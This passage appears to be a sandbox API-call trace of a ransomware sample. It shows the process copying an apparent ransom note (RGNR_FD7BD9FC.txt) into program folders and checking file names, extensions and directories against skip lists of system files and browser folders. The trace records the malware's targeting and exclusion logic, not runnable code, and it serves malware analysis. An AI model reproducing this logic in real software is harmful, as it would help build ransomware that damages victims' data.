Files\\Microsoft Shared\\Filters\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\RGNR_FD7BD9FC.txt" [0049.542] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0049.545] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*" [0049.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.545] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.545] lstrcpyW (in: lpString1=0x1eb222, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.546] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.546] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0049.546] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="msgfilt.dll", lpString2="..") returned 1 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0049.546] lstrcmpiW (lpString1="odffilt.dll", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="odffilt.dll", lpString2="..") returned 1 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0049.546] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="offfiltx.dll", lpString2="..") returned 1 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.546] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0049.546] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".") returned 1 [0049.546] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="..") returned 1 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0049.546] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0049.547] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.547] lstrcpyW (in: lpString1=0x1eb636, lpString2="msgfilt.dll" | out: lpString1="msgfilt.dll") returned="msgfilt.dll" [0049.547] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned=".dll" [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="autorun.inf") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="boot.ini") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootfont.bin") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootsect.bak") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootmgr") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootmgr.efi") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="bootmgfw.efi") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="desktop.ini") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="iconcache.db") returned 1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ntldr") returned -1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ntuser.dat") returned -1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ntuser.dat.log") returned -1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="ntuser.ini") returned -1 [0049.547] lstrcmpiW (lpString1="msgfilt.dll", lpString2="thumbs.db") returned -1 [0049.547] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0049.547] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0049.547] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0049.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0049.547] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.547] lstrcpyW (in: lpString1=0x1eb636, lpString2="odffilt.dll" | out: lpString1="odffilt.dll") returned="odffilt.dll" [0049.547] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned=".dll" [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="autorun.inf") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="boot.ini") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootfont.bin") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootsect.bak") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootmgr") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootmgr.efi") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootmgfw.efi") returned 1 [0049.547] lstrcmpiW (lpString1="odffilt.dll", lpString2="desktop.ini") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="iconcache.db") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="ntldr") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="ntuser.dat") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="ntuser.dat.log") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="ntuser.ini") returned 1 [0049.548] lstrcmpiW (lpString1="odffilt.dll", lpString2="thumbs.db") returned -1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0049.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0049.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.548] lstrcpyW (in: lpString1=0x1eb636, lpString2="offfiltx.dll" | out: lpString1="offfiltx.dll") returned="offfiltx.dll" [0049.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned=".dll" [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="autorun.inf") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="boot.ini") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootfont.bin") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootsect.bak") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootmgr") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootmgr.efi") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootmgfw.efi") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="desktop.ini") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="iconcache.db") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ntldr") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ntuser.dat") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ntuser.dat.log") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ntuser.ini") returned 1 [0049.548] lstrcmpiW (lpString1="offfiltx.dll", lpString2="thumbs.db") returned -1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0049.548] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0049.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.548] lstrcpyW (in: lpString1=0x1eb636, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0049.549] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\RGNR_FD7BD9FC.txt") returned=".txt" [0049.549] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0049.549] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0049.549] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.549] lstrcpyW (in: lpString1=0x1eb636, lpString2="VISFILT.DLL" | out: lpString1="VISFILT.DLL") returned="VISFILT.DLL" [0049.549] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned=".DLL" [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="autorun.inf") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="boot.ini") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootfont.bin") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootsect.bak") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootmgr") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootmgr.efi") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootmgfw.efi") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="desktop.ini") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="iconcache.db") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ntldr") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ntuser.dat") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ntuser.dat.log") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ntuser.ini") returned 1 [0049.549] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="thumbs.db") returned 1 [0049.549] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0049.549] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0049.549] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0049.549] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0049.549] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.549] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0049.549] lstrcmpiW (lpString1="GRPHFLT", lpString2=".") returned 1 [0049.549] lstrcmpiW (lpString1="GRPHFLT", lpString2="..") returned 1 [0049.549] lstrcmpiW (lpString1="GRPHFLT", lpString2="Windows") returned -1 [0049.549] lstrcmpiW (lpString1="GRPHFLT", lpString2="Windows.old") returned -1 [0049.549] lstrcmpiW (lpString1="GRPHFLT", lpString2="Tor browser") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Internet Explorer") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Google") returned 1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Opera") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Opera Software") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Mozilla") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="Mozilla Firefox") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="$Recycle.Bin") returned 1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="ProgramData") returned -1 [0049.550] lstrcmpiW (lpString1="GRPHFLT", lpString2="All Users") returned 1 [0049.550] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0049.550] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="GRPHFLT" | out: lpString1="GRPHFLT") returned="GRPHFLT" [0049.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0049.550] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0049.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RGNR_FD7BD9FC.txt" [0049.550] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0049.569] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*" [0049.570] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.570] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.570] lstrcpyW (in: lpString1=0x1eb222, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.570] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, 